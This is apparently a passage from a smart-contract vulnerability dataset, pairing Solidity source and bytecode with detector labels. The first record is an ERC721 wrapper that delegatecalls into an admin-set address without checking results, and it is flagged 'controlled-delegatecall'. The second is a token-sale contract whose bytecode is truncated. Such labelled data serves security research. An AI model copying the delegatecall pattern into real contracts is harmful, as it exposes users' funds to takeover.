* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract MetadataDeveryERC721Wrapper is IERC721, IERC721Metadata, Admined{
address public token;
IERC721 public tokenContract;
mapping (uint256 => string) private _tokenURIs;
function setERC721(address _token) public onlyAdmin {
token = _token;
tokenContract = IERC721(_token);
}
function balanceOf(address owner) public virtual override view returns (uint256 balance){
return tokenContract.balanceOf(owner);
}
function ownerOf(uint256 tokenId) public virtual override view returns (address owner){
return tokenContract.ownerOf(tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", from,to, tokenId)
);
}
function transferFrom(address from, address to, uint256 tokenId )public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("transferFrom(address,address,uint256)", from,to, tokenId)
);
}
function approve(address to, uint256 tokenId)public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("approve(address,uint256)",to, tokenId)
);
}
function getApproved(uint256 tokenId) public virtual override view returns (address operator){
return tokenContract.getApproved(tokenId);
}
function setApprovalForAll(address operator, bool _approved) public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("setApprovalForAll(address,bool)",operator, _approved)
);
}
function isApprovedForAll(address owner, address operator) public virtual override view returns (bool){
return tokenContract.isApprovedForAll(owner, operator);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("safeTransferFrom(address,address,uint256,bytes)",from, to, tokenId, data)
);
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(ownerOf(tokenId) == msg.sender, "Only the owner of a token can set its metadata");
_tokenURIs[tokenId] = _tokenURI;
}
function supportsInterface(bytes4 interfaceId) public virtual override view returns (bool){
return true;
}
function name() public virtual override view returns (string memory){
return "Devery NFT";
}
function symbol() public virtual override view returns (string memory){
return "EVENFT";
}
function tokenURI(uint256 tokenId) public virtual override view returns (string memory){
return _tokenURIs[tokenId];
}
} | 0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370480275116100c3578063b88d4fde1161007c578063b88d4fde146102bb578063c87b56dd146102ce578063d4ee1d90146102e1578063e985e9c5146102e9578063f2fde38b146102fc578063fc0c546a1461030f57610158565b8063704802751461025d57806370a082311461027057806379ba5097146102905780638da5cb5b1461029857806395d89b41146102a0578063a22cb465146102a857610158565b806323b872dd1161011557806323b872dd146101f657806324d7806c1461020957806342842e0e1461021c578063429b62e51461022f57806355a373d6146102425780636352211e1461024a57610158565b806301ffc9a71461015d57806306fdde0314610186578063081812fc1461019b578063094144a5146101bb578063095ea7b3146101d05780631785f53c146101e3575b600080fd5b61017061016b366004610cf8565b610317565b60405161017d9190610e43565b60405180910390f35b61018e61031d565b60405161017d9190610e4e565b6101ae6101a9366004610d20565b610341565b60405161017d9190610d6c565b6101ce6101c9366004610b3a565b6103c9565b005b6101ce6101de366004610cb1565b610407565b6101ce6101f1366004610b3a565b6104ac565b6101ce610204366004610baa565b610543565b610170610217366004610b3a565b6105eb565b6101ce61022a366004610baa565b610622565b61017061023d366004610b3a565b610680565b6101ae610695565b6101ae610258366004610d20565b6106a4565b6101ce61026b366004610b3a565b6106d6565b61028361027e366004610b3a565b610780565b60405161017d9190610e81565b6101ce610802565b6101ae61087d565b61018e61088c565b6101ce6102b6366004610c84565b6108ac565b6101ce6102c9366004610bea565b610908565b61018e6102dc366004610d20565b6109b6565b6101ae610a58565b6101706102f7366004610b72565b610a67565b6101ce61030a366004610b3a565b610af2565b6101ae610b2b565b50600190565b60408051808201909152600a81526911195d995c9e4813919560b21b602082015290565b6004805460405163020604bf60e21b81526000926001600160a01b039092169163081812fc9161037391869101610e81565b60206040518083038186803b15801561038b57600080fd5b505afa15801561039f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c39190610b56565b92915050565b6103d2336105eb565b6103db57600080fd5b600380546001600160a01b039092166001600160a01b0319928316811790915560048054909216179055565b60035460405160009182916001600160a01b039091169061042e9086908690602401610e2a565b60408051601f198184030181529181526020820180516001600160e01b031663095ea7b360e01b179052516104639190610d50565b600060405180830381855af49150503d806000811461049e576040519150601f19603f3d011682016040523d82523d6000602084013e6104a3565b606091505b50505050505050565b6000546001600160a01b031633146104c357600080fd5b6001600160a01b03811660009081526002602052604090205460ff166104e857600080fd5b6001600160a01b03811660009081526002602052604090819020805460ff19169055517fa3b62bc36326052d97ea62d63c3d60308ed4c3ea8ac079dd8499f1e9c4f80c0f90610538908390610d6c565b60405180910390a150565b60035460405160009182916001600160a01b039091169061056c90879087908790602401610d9a565b60408051601f198184030181529181526020820180516001600160e01b03166323b872dd60e01b179052516105a19190610d50565b600060405180830381855af49150503d80600081146105dc576040519150601f19603f3d011682016040523d82523d6000602084013e6105e1565b606091505b5050505050505050565b6001600160a01b03811660009081526002602052604081205460ff16806103c35750506000546001600160a01b0391821691161490565b60035460405160009182916001600160a01b039091169061064b90879087908790602401610d9a565b60408051601f198184030181529181526020820180516001600160e01b0316632142170760e11b179052516105a19190610d50565b60026020526000908152604090205460ff1681565b6004546001600160a01b031681565b600480546040516331a9108f60e11b81526000926001600160a01b0390921691636352211e9161037391869101610e81565b6000546001600160a01b031633146106ed57600080fd5b6001600160a01b03811660009081526002602052604090205460ff1615801561072457506000546001600160a01b03828116911614155b61072d57600080fd5b6001600160a01b03811660009081526002602052604090819020805460ff19166001179055517f44d6d25963f097ad14f29f06854a01f575648a1ef82f30e562ccd3889717e33990610538908390610d6c565b600480546040516370a0823160e01b81526000926001600160a01b03909216916370a08231916107b291869101610d6c565b60206040518083038186803b1580156107ca57600080fd5b505afa1580156107de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c39190610d38565b6001546001600160a01b0316331461081957600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b60408051808201909152600681526511559153919560d21b602082015290565b60035460405160009182916001600160a01b03909116906108d39086908690602401610e0f565b60408051601f198184030181529181526020820180516001600160e01b031663a22cb46560e01b179052516104639190610d50565b60035460405160009182916001600160a01b03909116906109359089908990899089908990602401610dbe565b60408051601f198184030181529181526020820180516001600160e01b0316635c46a7ef60e11b1790525161096a9190610d50565b600060405180830381855af49150503d80600081146109a5576040519150601f19603f3d011682016040523d82523d6000602084013e6109aa565b606091505b50505050505050505050565b60008181526005602052604090208054606091906109d390610eba565b80601f01602080910402602001604051908101604052809291908181526020018280546109ff90610eba565b8015610a4c5780601f10610a2157610100808354040283529160200191610a4c565b820191906000526020600020905b815481529060010190602001808311610a2f57829003601f168201915b50505050509050919050565b6001546001600160a01b031681565b6004805460405163e985e9c560e01b81526000926001600160a01b039092169163e985e9c591610a9b918791879101610d80565b60206040518083038186803b158015610ab357600080fd5b505afa158015610ac7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aeb9190610cdc565b9392505050565b6000546001600160a01b03163314610b0957600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b600060208284031215610b4b578081fd5b8135610aeb81610ef5565b600060208284031215610b67578081fd5b8151610aeb81610ef5565b60008060408385031215610b84578081fd5b8235610b8f81610ef5565b91506020830135610b9f81610ef5565b809150509250929050565b600080600060608486031215610bbe578081fd5b8335610bc981610ef5565b92506020840135610bd981610ef5565b929592945050506040919091013590565b600080600080600060808688031215610c01578081fd5b8535610c0c81610ef5565b94506020860135610c1c81610ef5565b935060408601359250606086013567ffffffffffffffff80821115610c3f578283fd5b818801915088601f830112610c52578283fd5b813581811115610c60578384fd5b896020828501011115610c71578384fd5b9699959850939650602001949392505050565b60008060408385031215610c96578182fd5b8235610ca181610ef5565b91506020830135610b9f81610f0d565b60008060408385031215610cc3578182fd5b8235610cce81610ef5565b946020939093013593505050565b600060208284031215610ced578081fd5b8151610aeb81610f0d565b600060208284031215610d09578081fd5b81356001600160e01b031981168114610aeb578182fd5b600060208284031215610d31578081fd5b5035919050565b600060208284031215610d49578081fd5b5051919050565b60008251610d62818460208701610e8a565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b038681168252851660208201526040810184905260806060820181905281018290526000828460a084013781830160a090810191909152601f909201601f19160101949350505050565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6000602082528251806020840152610e6d816040850160208701610e8a565b601f01601f19169190910160400192915050565b90815260200190565b60005b83811015610ea5578181015183820152602001610e8d565b83811115610eb4576000848401525b50505050565b600281046001821680610ece57607f821691505b60208210811415610eef57634e487b7160e01b600052602260045260246000fd5b50919050565b6001600160a01b0381168114610f0a57600080fd5b50565b8015158114610f0a57600080fdfea26469706673582212206fbcf0d24691477683ae0c5d25abdcbca60207061489c0f59fbe6514ab12913064736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}} | 9,938 |
0xc897b17a2a11c8025d502e914ff575138b4ccda3 | pragma solidity ^0.4.24;
// File: contracts/interfaces/IOwned.sol
/*
Owned Contract Interface
*/
contract IOwned {
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
function transferOwnershipNow(address newContractOwner) public;
}
// File: contracts/utility/Owned.sol
/*
This is the "owned" utility contract used by bancor with one additional function - transferOwnershipNow()
The original unmodified version can be found here:
https://github.com/bancorprotocol/contracts/commit/63480ca28534830f184d3c4bf799c1f90d113846
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
@dev transfers the contract ownership without needing the new owner to accept ownership
@param newContractOwner new contract owner
*/
function transferOwnershipNow(address newContractOwner) ownerOnly public {
require(newContractOwner != owner);
emit OwnerUpdate(owner, newContractOwner);
owner = newContractOwner;
}
}
// File: contracts/utility/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
* From https://github.com/OpenZeppelin/openzeppelin-solidity/commit/a2e710386933d3002062888b35aae8ac0401a7b3
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
// File: contracts/interfaces/IERC20.sol
/*
Smart Token Interface
*/
contract IERC20 {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// File: contracts/interfaces/ISmartToken.sol
/**
@notice Smart Token Interface
*/
contract ISmartToken is IOwned, IERC20 {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
// File: contracts/SmartToken.sol
/*
This contract implements the required functionality to be considered a Bancor smart token.
Additionally it has custom token sale functionality and the ability to withdraw tokens accidentally deposited
// TODO abstract this into 3 contracts and inherit from them: 1) ERC20, 2) Smart Token, 3) Native specific functionality
*/
contract SmartToken is Owned, IERC20, ISmartToken {
/**
Smart Token Implementation
*/
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not
/// @notice Triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory
event NewSmartToken(address _token);
/// @notice Triggered when the total supply is increased
event Issuance(uint256 _amount);
// @notice Triggered when the total supply is decreased
event Destruction(uint256 _amount);
// @notice Verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
/// @notice Validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
/**
@dev disables/enables transfers
can only be called by the contract owner
@param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
/**
@dev increases the token supply and sends the new tokens to an account
can only be called by the contract owner
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@dev removes tokens from an account and decreases the token supply
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner); // validate input
balances[_from] = SafeMath.sub(balances[_from], _amount);
totalSupply = SafeMath.sub(totalSupply, _amount);
emit Transfer(_from, this, _amount);
emit Destruction(_amount);
}
/**
@notice ERC20 Implementation
*/
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[msg.sender] >= _value && _to != address(0)) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _to != address(0)) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name;
uint8 public decimals;
string public symbol;
string public version;
constructor(string _name, uint _totalSupply, uint8 _decimals, string _symbol, string _version, address sender) public {
balances[sender] = _totalSupply; // Give the creator all initial tokens
totalSupply = _totalSupply; // Update total supply
name = _name; // Set the name for display purposes
decimals = _decimals; // Amount of decimals for display purposes
symbol = _symbol; // Set the symbol for display purposes
version = _version;
emit NewSmartToken(address(this));
}
/**
@notice Token Sale Implementation
*/
uint public saleStartTime;
uint public saleEndTime;
uint public price;
uint public amountRemainingForSale;
bool public buyModeEth = true;
address public beneficiary;
address public payableTokenAddress;
event TokenSaleInitialized(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, uint nowTime);
event TokensPurchased(address buyer, uint amount);
/**
@dev increases the token supply and sends the new tokens to an account. Similar to issue() but for use in token sale
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issuePurchase(address _to, uint256 _amount)
internal
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@notice Begins the token sale for this token instance
@param _saleStartTime Unix timestamp of the token sale start
@param _saleEndTime Unix timestamp of the token sale close
@param _price If sale initialized in ETH: price in Wei.
If not, token purchases are enabled and this is the amount of tokens issued per tokens paid
@param _amountForSale Amount of tokens for sale
@param _beneficiary Recipient of the token sale proceeds
*/
function initializeTokenSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) public ownerOnly {
// Check that the token sale has not yet been initialized
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
/**
@notice Begins the token sale for this token instance
@notice Uses the same signature as initializeTokenSale() with:
@param _tokenAddress The whitelisted token address to allow payments in
*/
function initializeTokenSaleWithToken(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary, address _tokenAddress) public ownerOnly {
buyModeEth = false;
payableTokenAddress = _tokenAddress;
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
function initializeSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) internal {
// Check that the token sale has not yet been initialized
require(saleStartTime == 0);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
price = _price;
amountRemainingForSale = _amountForSale;
beneficiary = _beneficiary;
emit TokenSaleInitialized(saleStartTime, saleEndTime, price, amountRemainingForSale, now);
}
function updateStartTime(uint _newSaleStartTime) public ownerOnly {
saleStartTime = _newSaleStartTime;
}
function updateEndTime(uint _newSaleEndTime) public ownerOnly {
require(_newSaleEndTime >= saleStartTime);
saleEndTime = _newSaleEndTime;
}
function updateAmountRemainingForSale(uint _newAmountRemainingForSale) public ownerOnly {
amountRemainingForSale = _newAmountRemainingForSale;
}
function updatePrice(uint _newPrice) public ownerOnly {
price = _newPrice;
}
/// @dev Allows owner to withdraw erc20 tokens that were accidentally sent to this contract
function withdrawToken(IERC20 _token, uint amount) public ownerOnly {
_token.transfer(msg.sender, amount);
}
/**
@dev Allows token sale with parent token
*/
function buyWithToken(IERC20 _token, uint amount) public payable {
require(_token == payableTokenAddress);
uint amountToBuy = SafeMath.mul(amount, price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
require(_token.transferFrom(msg.sender, beneficiary, amount));
issuePurchase(msg.sender, amountToBuy);
emit TokensPurchased(msg.sender, amountToBuy);
}
function() public payable {
require(buyModeEth == true);
uint amountToBuy = SafeMath.div( SafeMath.mul(msg.value, 1 ether), price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
issuePurchase(msg.sender, amountToBuy);
beneficiary.transfer(msg.value);
emit TokensPurchased(msg.sender, amountToBuy);
}
} | 0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306bcf02f1461031257806306fdde031461033f578063095ea7b3146103cf5780631608f18f1461043457806318160ddd146104635780631cbaee2d1461048e5780631d4a9209146104b957806323b872dd14610524578063313ce567146105a957806338af3eed146105da57806354fd4d501461063157806368e57c6b146106c15780636ab3846b146106ec5780636e33a8311461071957806370a082311461075957806379ba5097146107b0578063867904b4146107c75780638692ac86146108145780638d6cc56d146108575780638da5cb5b1461088457806395d89b41146108db57806398079dc41461096b5780639e281a98146109c2578063a035b1fe14610a0f578063a24835d114610a3a578063a9059cbb14610a87578063bef97c8714610aec578063cb52c25e14610b1b578063d4ee1d9014610b48578063da5da3b914610b9f578063dd62ed3e14610c2a578063ea5a641614610ca1578063ed338ff114610cd0578063f2fde38b14610cfb575b600060011515600d60009054906101000a900460ff1615151415156101d057600080fd5b6101ed6101e534670de0b6b3a7640000610d3e565b600b54610d7c565b9050600c54811115151561020057600080fd5b600a54421115801561021457506009544210155b151561021f57600080fd5b61022b600c5482610da6565b600c8190555061023b3382610dc7565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102a3573d6000803e3d6000fd5b507f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150005b34801561031e57600080fd5b5061033d60048036038101908080359060200190929190505050610f80565b005b34801561034b57600080fd5b50610354610fe5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610394578082015181840152602081019050610379565b50505050905090810190601f1680156103c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611083565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610461600480360381019080803515159060200190929190505050611175565b005b34801561046f57600080fd5b506104786111ee565b6040518082815260200191505060405180910390f35b34801561049a57600080fd5b506104a36111f4565b6040518082815260200191505060405180910390f35b3480156104c557600080fd5b5061052260048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fa565b005b34801561053057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611269565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b506105be611624565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105e657600080fd5b506105ef611637565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063d57600080fd5b5061064661165d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068657808201518184015260208101905061066b565b50505050905090810190601f1680156106b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106cd57600080fd5b506106d66116fb565b6040518082815260200191505060405180910390f35b3480156106f857600080fd5b5061071760048036038101908080359060200190929190505050611701565b005b610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611777565b005b34801561076557600080fd5b5061079a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119de565b6040518082815260200191505060405180910390f35b3480156107bc57600080fd5b506107c5611a27565b005b3480156107d357600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bc6565b005b34801561082057600080fd5b50610855600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dda565b005b34801561086357600080fd5b5061088260048036038101908080359060200190929190505050611f4f565b005b34801561089057600080fd5b50610899611fb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e757600080fd5b506108f0611fd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610930578082015181840152602081019050610915565b50505050905090810190601f16801561095d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097757600080fd5b50610980612077565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ce57600080fd5b50610a0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061209d565b005b348015610a1b57600080fd5b50610a246121db565b6040518082815260200191505060405180910390f35b348015610a4657600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121e1565b005b348015610a9357600080fd5b50610ad2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123b0565b604051808215151515815260200191505060405180910390f35b348015610af857600080fd5b50610b016125dc565b604051808215151515815260200191505060405180910390f35b348015610b2757600080fd5b50610b46600480360381019080803590602001909291905050506125ef565b005b348015610b5457600080fd5b50610b5d612654565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bab57600080fd5b50610c2860048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061267a565b005b348015610c3657600080fd5b50610c8b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612746565b6040518082815260200191505060405180910390f35b348015610cad57600080fd5b50610cb66127cd565b604051808215151515815260200191505060405180910390f35b348015610cdc57600080fd5b50610ce56127e0565b6040518082815260200191505060405180910390f35b348015610d0757600080fd5b50610d3c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127e6565b005b6000806000841415610d535760009150610d75565b8284029050828482811515610d6457fe5b04141515610d7157600080fd5b8091505b5092915050565b600080600083111515610d8e57600080fd5b8284811515610d9957fe5b0490508091505092915050565b600080838311151515610db857600080fd5b82840390508091505092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0457600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e4057600080fd5b610e4c600254846128e1565b600281905550610e9b600360008673fffffffffffffffff